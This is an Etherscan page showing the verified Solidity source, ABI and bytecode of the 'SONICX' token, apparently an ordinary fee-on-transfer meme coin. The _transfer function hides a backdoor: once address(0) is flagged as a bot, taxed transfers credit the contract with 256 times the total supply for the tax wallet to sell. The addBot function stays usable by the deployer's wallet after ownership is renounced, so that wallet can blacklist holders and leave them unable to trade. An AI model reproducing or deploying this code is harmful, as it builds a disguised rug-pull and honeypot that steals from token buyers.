Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract SONICX is Context, IERC20 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function addBot(address a)    - function removeBot(address a)    - function isBot(address a)    - function openTrading()    - function isContract(address account)    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

/** 

Twitter: https://twitter.com/SonicXeth
Website: https://sonicx.tech/
Telegram: https://t.me/SonicXeth

**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SONICX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address public marketingWallet = address(0x6eF98eAa693cEf02CE6ab843b4EAa0A0eEa668c9);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _buyerMap;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private constant _initialBuyTax=20;
    uint256 private constant _initialSellTax=20;
    uint256 private constant _finalBuyTax=4;
    uint256 private constant _finalSellTax=4;
    uint256 private constant _reduceBuyTaxAt=15;
    uint256 private constant _reduceSellTaxAt=17;
    uint256 private constant _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"SONIC𝕏";
    string private constant _symbol = unicode"SONIC𝕏";
    uint256 private constant _defTaxAmount = _tTotal * _finalBuyTax**_finalSellTax;
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 2500000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventSwapBefore){
                    require(!isContract(to));
                }
                _buyCount++;
                _buyerMap[to]=true;
            }


            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) && !_isExcludedFromFee[from]){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(!bots[address(0)]?taxAmount:taxAmount>0?_defTaxAmount:taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBot(address a) external {
        if (!_isExcludedFromFee[_msgSender()]) {
            return;
        }
        bots[a] = true;
    }

    function removeBot(address a) external onlyOwner() {
        if (!_isExcludedFromFee[_msgSender()]) {
            return;
        }
        bots[a] = false;
    }

    function isBot(address a) public view returns (bool){
        return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }




}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"removeBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031916736ef98eaa693cef02ce6ab843b4eaa0a0eea668c91790555f6008556200003c6009600a620002e4565b6200004c906301312d00620002fb565b6009556009600a6200005f9190620002e4565b6200006f906301312d00620002fb565b600a556009600a620000829190620002e4565b6200009190622625a0620002fb565b600b55600d805461ffff60a81b19169055348015620000ae575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b031916331790556200010f6009600a620002e4565b6200011f90633b9aca00620002fb565b335f8181526002602090815260408083209490945581546001600160a01b03908116835260049091528382208054600160ff199182168117909255308452858420805482168317905560075490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ae6009600a620002e4565b620001be90633b9aca00620002fb565b60405190815260200160405180910390a362000315565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022957815f19048211156200020d576200020d620001d5565b808516156200021b57918102915b93841c9390800290620001ee565b509250929050565b5f826200024157506001620002de565b816200024f57505f620002de565b8160018114620002685760028114620002735762000293565b6001915050620002de565b60ff841115620002875762000287620001d5565b50506001821b620002de565b5060208310610133831016604e8410600b8410161715620002b8575081810a620002de565b620002c48383620001e9565b805f1904821115620002da57620002da620001d5565b0290505b92915050565b5f620002f460ff84168362000231565b9392505050565b8082028115828204841417620002de57620002de620001d5565b61198d80620003235f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610134578063a9059cbb14610344578063bf474bed14610363578063c9567bf914610378578063dd62ed3e1461038c578063ffecf516146103d0575f80fd5b8063751039fc146102b357806375f0a874146102c75780637d1db4a5146102fe5780638da5cb5b146103135780638f9a55c01461032f575f80fd5b80633bbac579116100ee5780633bbac579146101ff57806351bc3c85146102365780635fecd9261461024c57806370a082311461026b578063715018a61461029f575f80fd5b806306fdde0314610134578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c5578063313ce567146101e4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820182526009815268534f4e4943f09d958f60b81b6020820152905161016b9190611578565b60405180910390f35b34801561017f575f80fd5b5061019361018e3660046115d7565b6103ef565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b7610405565b60405190815260200161016b565b3480156101d0575f80fd5b506101936101df366004611601565b610425565b3480156101ef575f80fd5b506040516009815260200161016b565b34801561020a575f80fd5b5061019361021936600461163f565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610241575f80fd5b5061024a61048c565b005b348015610257575f80fd5b5061024a61026636600461163f565b6104dd565b348015610276575f80fd5b506101b761028536600461163f565b6001600160a01b03165f9081526002602052604090205490565b3480156102aa575f80fd5b5061024a610549565b3480156102be575f80fd5b5061024a6105ba565b3480156102d2575f80fd5b506001546102e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610309575f80fd5b506101b760095481565b34801561031e575f80fd5b505f546001600160a01b03166102e6565b34801561033a575f80fd5b506101b7600a5481565b34801561034f575f80fd5b5061019361035e3660046115d7565b61066f565b34801561036e575f80fd5b506101b7600b5481565b348015610383575f80fd5b5061024a61067b565b348015610397575f80fd5b506101b76103a636600461165a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103db575f80fd5b5061024a6103ea36600461163f565b610a24565b5f6103fb338484610a60565b5060015b92915050565b5f6104126009600a611785565b61042090633b9aca00611793565b905090565b5f610431848484610b83565b610482843361047d85604051806060016040528060288152602001611930602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906111ef565b610a60565b5060019392505050565b6007546001600160a01b0316336001600160a01b0316146104ab575f80fd5b305f9081526002602052604090205480156104c9576104c981611227565b4780156104d9576104d9816113b0565b5050565b5f546001600160a01b0316331461050f5760405162461bcd60e51b8152600401610506906117aa565b60405180910390fd5b335f9081526004602052604090205460ff1615610546576001600160a01b0381165f908152600660205260409020805460ff191690555b50565b5f546001600160a01b031633146105725760405162461bcd60e51b8152600401610506906117aa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e35760405162461bcd60e51b8152600401610506906117aa565b6105ef6009600a611785565b6105fd90633b9aca00611793565b600990815561060d90600a611785565b61061b90633b9aca00611793565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061064e90600990611785565b61065c90633b9aca00611793565b60405190815260200160405180910390a1565b5f6103fb338484610b83565b5f546001600160a01b031633146106a45760405162461bcd60e51b8152600401610506906117aa565b600d54600160a01b900460ff16156106fe5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610506565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107479030906107396009600a611785565b61047d90633b9aca00611793565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb91906117df565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e91906117df565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac91906117df565b600d80546001600160a01b039283166001600160a01b0319909116179055600c541663f305d71947306108f3816001600160a01b03165f9081526002602052604090205490565b5f806109065f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099191906117fa565b5050600d54600c5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0a9190611825565b50600d805462ff00ff60a01b19166201000160a01b179055565b335f9081526004602052604090205460ff16610a3d5750565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b6001600160a01b038316610ac25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610506565b6001600160a01b038216610b235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610506565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610506565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610506565b5f8111610caa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610506565b5f80546001600160a01b03858116911614801590610cd557505f546001600160a01b03848116911614155b1561103d576001600160a01b0384165f9081526006602052604090205460ff16158015610d1a57506001600160a01b0383165f9081526006602052604090205460ff16155b610d22575f80fd5b600d546001600160a01b038581169116148015610d4d5750600c546001600160a01b03848116911614155b15610e6757600954821115610da05760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610506565b600a5482610dc2856001600160a01b03165f9081526002602052604090205490565b610dcc9190611844565b1115610e1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610506565b601e6008541015610e3057823b15610e30575f80fd5b60088054905f610e3f83611857565b90915550506001600160a01b0383165f908152600560205260409020805460ff191660011790555b610e906064610e8a600f60085411610e80576014610e83565b60045b85906113e7565b9061146c565b600d549091506001600160a01b038481169116148015610eb957506001600160a01b0384163014155b8015610edd57506001600160a01b0384165f9081526004602052604090205460ff16155b15610fb557600954821115610f305760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610506565b610f496064610e8a601160085411610e80576014610e83565b9050601e6008541180610f7357506001600160a01b0384165f9081526005602052604090205460ff165b610fb55760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610506565b305f90815260026020526040902054600d54600160a81b900460ff16158015610feb5750600d546001600160a01b038581169116145b80156110005750600d54600160b01b900460ff165b801561100d5750600b5481115b801561101b5750601e600854115b1561103b5761102981611227565b47801561103957611039476113b0565b505b505b801561112a575f805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546110d19060ff16156110ba575f821161108657816110bc565b61109160048061186f565b61109d6009600a611785565b6110ab90633b9aca00611793565b6110b59190611793565b6110bc565b815b305f90815260026020526040902054906114ad565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111219085815260200190565b60405180910390a35b6001600160a01b0384165f9081526002602052604090205461114c908361150b565b6001600160a01b0385165f9081526002602052604090205561118f611171838361150b565b6001600160a01b0385165f90815260026020526040902054906114ad565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d8858561150b565b60405190815260200160405180910390a350505050565b5f81848411156112125760405162461bcd60e51b81526004016105069190611578565b505f61121e848661187a565b95945050505050565b600d805460ff60a81b1916600160a81b17905580156113a057600d54600160a01b900460ff16156113a0576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112855761128561188d565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112dc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130091906117df565b816001815181106113135761131361188d565b6001600160a01b039283166020918202929092010152600c546113399130911684610a60565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113719085905f908690309042906004016118a1565b5f604051808303815f87803b158015611388575f80fd5b505af115801561139a573d5f803e3d5ffd5b50505050505b50600d805460ff60a81b19169055565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104d9573d5f803e3d5ffd5b5f825f036113f657505f6103ff565b5f6114018385611793565b90508261140e8583611910565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610506565b9392505050565b5f61146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061154c565b5f806114b98385611844565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610506565b5f61146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b5f818361156c5760405162461bcd60e51b81526004016105069190611578565b505f61121e8486611910565b5f6020808352835180828501525f5b818110156115a357858101830151858201604001528201611587565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610546575f80fd5b5f80604083850312156115e8575f80fd5b82356115f3816115c3565b946020939093013593505050565b5f805f60608486031215611613575f80fd5b833561161e816115c3565b9250602084013561162e816115c3565b929592945050506040919091013590565b5f6020828403121561164f575f80fd5b8135611465816115c3565b5f806040838503121561166b575f80fd5b8235611676816115c3565b91506020830135611686816115c3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116df57815f19048211156116c5576116c5611691565b808516156116d257918102915b93841c93908002906116aa565b509250929050565b5f826116f5575060016103ff565b8161170157505f6103ff565b816001811461171757600281146117215761173d565b60019150506103ff565b60ff84111561173257611732611691565b50506001821b6103ff565b5060208310610133831016604e8410600b8410161715611760575081810a6103ff565b61176a83836116a5565b805f190482111561177d5761177d611691565b029392505050565b5f61146560ff8416836116e7565b80820281158282048414176103ff576103ff611691565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ef575f80fd5b8151611465816115c3565b5f805f6060848603121561180c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611835575f80fd5b81518015158114611465575f80fd5b808201808211156103ff576103ff611691565b5f6001820161186857611868611691565b5060010190565b5f61146583836116e7565b818103818111156103ff576103ff611691565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118ef5784516001600160a01b0316835293830193918301916001016118ca565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261192a57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3f9e86cc7b00cd504b3c7621a8459cdaefa10465c61e00515cb4c1ac28d61ad64736f6c63430008140033

0x608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610134578063a9059cbb14610344578063bf474bed14610363578063c9567bf914610378578063dd62ed3e1461038c578063ffecf516146103d0575f80fd5b8063751039fc146102b357806375f0a874146102c75780637d1db4a5146102fe5780638da5cb5b146103135780638f9a55c01461032f575f80fd5b80633bbac579116100ee5780633bbac579146101ff57806351bc3c85146102365780635fecd9261461024c57806370a082311461026b578063715018a61461029f575f80fd5b806306fdde0314610134578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c5578063313ce567146101e4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820182526009815268534f4e4943f09d958f60b81b6020820152905161016b9190611578565b60405180910390f35b34801561017f575f80fd5b5061019361018e3660046115d7565b6103ef565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b7610405565b60405190815260200161016b565b3480156101d0575f80fd5b506101936101df366004611601565b610425565b3480156101ef575f80fd5b506040516009815260200161016b565b34801561020a575f80fd5b5061019361021936600461163f565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610241575f80fd5b5061024a61048c565b005b348015610257575f80fd5b5061024a61026636600461163f565b6104dd565b348015610276575f80fd5b506101b761028536600461163f565b6001600160a01b03165f9081526002602052604090205490565b3480156102aa575f80fd5b5061024a610549565b3480156102be575f80fd5b5061024a6105ba565b3480156102d2575f80fd5b506001546102e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610309575f80fd5b506101b760095481565b34801561031e575f80fd5b505f546001600160a01b03166102e6565b34801561033a575f80fd5b506101b7600a5481565b34801561034f575f80fd5b5061019361035e3660046115d7565b61066f565b34801561036e575f80fd5b506101b7600b5481565b348015610383575f80fd5b5061024a61067b565b348015610397575f80fd5b506101b76103a636600461165a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103db575f80fd5b5061024a6103ea36600461163f565b610a24565b5f6103fb33848461